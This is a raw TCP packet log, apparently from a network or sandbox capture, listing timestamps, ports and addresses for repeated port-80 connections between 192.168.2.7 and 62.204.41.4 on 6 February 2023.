Feb 6, 2023 18:36:48.642621040 CET	49912	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.703342915 CET	80	49912	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.703385115 CET	80	49911	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.703468084 CET	49912	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.703535080 CET	49911	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.704071045 CET	49912	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.764588118 CET	80	49912	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.767746925 CET	80	49912	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.767894983 CET	49912	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.881747007 CET	49912	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.882531881 CET	49913	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.943020105 CET	80	49912	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.943130016 CET	49912	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.943830013 CET	80	49913	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:48.943958044 CET	49913	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:48.947845936 CET	49913	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.009886980 CET	80	49913	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.011852980 CET	80	49913	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.012006998 CET	49913	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.117221117 CET	49913	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.118207932 CET	49914	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.178798914 CET	80	49913	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.178953886 CET	49913	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.180711031 CET	80	49914	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.180871010 CET	49914	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.185767889 CET	49914	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.248403072 CET	80	49914	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.253202915 CET	80	49914	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.253361940 CET	49914	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.366781950 CET	49914	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.367737055 CET	49915	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.429322958 CET	80	49915	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.429366112 CET	80	49914	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.429514885 CET	49914	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.430013895 CET	49915	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.430013895 CET	49915	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.491678953 CET	80	49915	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.494277000 CET	80	49915	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.496871948 CET	49915	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.600625038 CET	49915	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.601630926 CET	49916	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.661786079 CET	80	49915	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.661843061 CET	80	49916	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.661992073 CET	49915	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.662094116 CET	49916	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.663084984 CET	49916	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.723509073 CET	80	49916	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.726577997 CET	80	49916	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.728715897 CET	49916	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.835788965 CET	49916	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.842086077 CET	49917	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.896776915 CET	80	49916	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.898637056 CET	49916	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.903929949 CET	80	49917	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.904601097 CET	49917	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.905139923 CET	49917	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:49.967220068 CET	80	49917	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.969903946 CET	80	49917	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:49.970089912 CET	49917	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.087254047 CET	49917	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.087878942 CET	49918	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.149203062 CET	80	49918	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.149252892 CET	80	49917	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.149449110 CET	49917	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.149977922 CET	49918	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.149977922 CET	49918	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.210477114 CET	80	49918	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.215410948 CET	80	49918	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.215667963 CET	49918	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.320106030 CET	49918	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.320451975 CET	49919	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.380037069 CET	80	49918	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.380871058 CET	49918	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.382929087 CET	80	49919	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.383064032 CET	49919	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.383743048 CET	49919	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.446124077 CET	80	49919	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.448525906 CET	80	49919	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.448673010 CET	49919	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.553896904 CET	49919	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.554874897 CET	49920	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.616451979 CET	80	49920	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.616539955 CET	49920	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.617007971 CET	49920	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.617306948 CET	80	49919	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.617369890 CET	49919	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.677198887 CET	80	49920	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.679874897 CET	80	49920	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.680002928 CET	49920	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.788551092 CET	49920	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.789614916 CET	49921	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.848814011 CET	80	49920	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.848980904 CET	49920	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.849860907 CET	80	49921	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.849968910 CET	49921	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.850421906 CET	49921	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:50.911577940 CET	80	49921	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.914513111 CET	80	49921	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:50.914680004 CET	49921	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.026098013 CET	49921	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.026866913 CET	49922	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.086615086 CET	80	49921	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.086740017 CET	49921	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.089329004 CET	80	49922	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.089478016 CET	49922	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.089880943 CET	49922	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.152741909 CET	80	49922	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.156610966 CET	80	49922	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.156728983 CET	49922	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.274673939 CET	49922	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.276601076 CET	49923	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.336951017 CET	80	49922	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.337129116 CET	49922	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.342210054 CET	80	49923	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.342444897 CET	49923	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.342927933 CET	49923	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.405029058 CET	80	49923	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.409949064 CET	80	49923	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.410069942 CET	49923	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.523205996 CET	49923	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.523937941 CET	49924	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.584769011 CET	80	49923	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.584918976 CET	49923	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.586338043 CET	80	49924	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.586483002 CET	49924	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.587444067 CET	49924	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.650589943 CET	80	49924	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.654720068 CET	80	49924	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.654835939 CET	49924	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.773659945 CET	49924	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.814337015 CET	49925	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.837810040 CET	80	49924	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.837934017 CET	49924	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:51.876878023 CET	80	49925	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:51.877105951 CET	49925	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.126735926 CET	49925	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.188569069 CET	80	49925	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.192497969 CET	80	49925	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.192637920 CET	49925	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.385890007 CET	49925	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.393681049 CET	49926	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.449107885 CET	80	49925	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.449259996 CET	49925	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.458058119 CET	80	49926	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.458302021 CET	49926	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.489078999 CET	49926	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.557714939 CET	80	49926	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.560206890 CET	80	49926	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.560321093 CET	49926	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.710246086 CET	49926	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.711133957 CET	49927	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.773953915 CET	80	49927	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.774070024 CET	49927	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.774549961 CET	80	49926	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.774611950 CET	49926	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.819700956 CET	49927	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:52.883238077 CET	80	49927	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.885586023 CET	80	49927	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:52.885674953 CET	49927	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.611978054 CET	49927	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.614262104 CET	49928	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.673765898 CET	80	49927	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:53.673921108 CET	49927	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.676038980 CET	80	49928	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:53.676631927 CET	49928	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.692434072 CET	49928	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.754426003 CET	80	49928	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:53.756938934 CET	80	49928	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:53.757350922 CET	49928	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.927854061 CET	49929	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.928836107 CET	49928	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.990935087 CET	80	49928	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:53.990978956 CET	80	49929	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:53.991173029 CET	49929	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:53.992295980 CET	49928	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:54.008802891 CET	49929	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:54.070560932 CET	80	49929	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:54.074717999 CET	80	49929	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:54.074922085 CET	49929	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:54.218624115 CET	49929	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:54.219696999 CET	49930	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:54.279598951 CET	80	49930	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:54.279819965 CET	49930	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:54.280721903 CET	80	49929	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:54.280852079 CET	49929	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.312009096 CET	49930	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.371766090 CET	80	49930	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.375792027 CET	80	49930	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.375967979 CET	49930	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.516510963 CET	49930	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.517237902 CET	49932	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.576256037 CET	80	49930	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.576363087 CET	49930	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.576581001 CET	80	49932	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.576661110 CET	49932	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.578352928 CET	49932	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.638304949 CET	80	49932	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.641483068 CET	80	49932	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.641550064 CET	49932	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.762701988 CET	49932	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.763731956 CET	49933	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.822791100 CET	80	49932	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.823082924 CET	49932	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.825097084 CET	80	49933	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.825269938 CET	49933	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.825768948 CET	49933	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.887315035 CET	80	49933	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.889779091 CET	80	49933	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:55.889997959 CET	49933	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.994940042 CET	49933	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:55.995955944 CET	49934	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.055979967 CET	80	49933	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.056133032 CET	49933	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.058590889 CET	80	49934	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.058773994 CET	49934	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.059242010 CET	49934	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.121681929 CET	80	49934	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.125365019 CET	80	49934	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.125505924 CET	49934	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.241739035 CET	49934	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.242392063 CET	49935	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.302968025 CET	80	49935	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.303209066 CET	49935	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.304075003 CET	49935	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.304361105 CET	80	49934	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.304481983 CET	49934	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.364867926 CET	80	49935	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.367465019 CET	80	49935	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.367587090 CET	49935	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.476147890 CET	49935	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.478579044 CET	49936	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.537185907 CET	80	49935	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.537411928 CET	49935	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.540326118 CET	80	49936	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.540534973 CET	49936	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.541075945 CET	49936	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.602468014 CET	80	49936	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.605768919 CET	80	49936	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.605948925 CET	49936	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.711314917 CET	49936	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.712493896 CET	49937	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.772859097 CET	80	49936	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.772933960 CET	80	49937	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.773022890 CET	49936	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.773078918 CET	49937	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.780040979 CET	49937	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.840332985 CET	80	49937	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.843110085 CET	80	49937	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:56.843308926 CET	49937	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.945070028 CET	49937	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:56.945955992 CET	49938	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.005439997 CET	80	49937	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.005603075 CET	49937	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.008157969 CET	80	49938	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.008289099 CET	49938	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.008660078 CET	49938	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.070935965 CET	80	49938	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.075479031 CET	80	49938	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.075700045 CET	49938	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.179606915 CET	49938	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.180548906 CET	49939	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.240789890 CET	80	49939	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.240923882 CET	49939	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.241621017 CET	49939	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.241866112 CET	80	49938	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.241936922 CET	49938	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.301896095 CET	80	49939	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.304322958 CET	80	49939	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.304465055 CET	49939	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.414169073 CET	49939	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.415100098 CET	49940	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.474673986 CET	80	49939	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.474895000 CET	49939	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.475581884 CET	80	49940	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.475704908 CET	49940	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.476531029 CET	49940	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.536878109 CET	80	49940	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.538958073 CET	80	49940	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.539128065 CET	49940	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.648607969 CET	49940	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.649461031 CET	49941	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.709253073 CET	80	49940	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.709431887 CET	49940	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.710763931 CET	80	49941	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.710958004 CET	49941	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.711370945 CET	49941	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.772660971 CET	80	49941	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.775655031 CET	80	49941	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.775813103 CET	49941	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.882200956 CET	49941	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.883035898 CET	49942	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.943619967 CET	80	49941	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.943761110 CET	49941	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.945300102 CET	80	49942	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:57.945457935 CET	49942	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:57.946568966 CET	49942	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.009454012 CET	80	49942	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.011249065 CET	80	49942	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.011364937 CET	49942	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.116719961 CET	49942	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.118613958 CET	49943	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.178941965 CET	80	49943	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.179105997 CET	49943	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.179169893 CET	80	49942	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.179240942 CET	49942	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.182255983 CET	49943	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.244513035 CET	80	49943	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.248070955 CET	80	49943	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.248193979 CET	49943	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.356379032 CET	49943	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.357285976 CET	49944	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.417126894 CET	80	49943	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.417273998 CET	49943	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.417870998 CET	80	49944	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.418124914 CET	49944	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.418493032 CET	49944	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.478939056 CET	80	49944	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.481282949 CET	80	49944	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.481441021 CET	49944	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.589333057 CET	49944	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.591667891 CET	49945	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.649868011 CET	80	49944	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.651248932 CET	49944	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.653987885 CET	80	49945	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.654124975 CET	49945	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.654499054 CET	49945	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.716830015 CET	80	49945	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.719652891 CET	80	49945	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.719796896 CET	49945	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.836455107 CET	49945	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.837109089 CET	49946	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.898706913 CET	80	49946	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.899054050 CET	80	49945	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.899203062 CET	49945	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.899209976 CET	49946	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.902146101 CET	49946	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:58.963907957 CET	80	49946	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.966620922 CET	80	49946	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:58.969324112 CET	49946	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:59.085732937 CET	49946	80	192.168.2.7	62.204.41.4
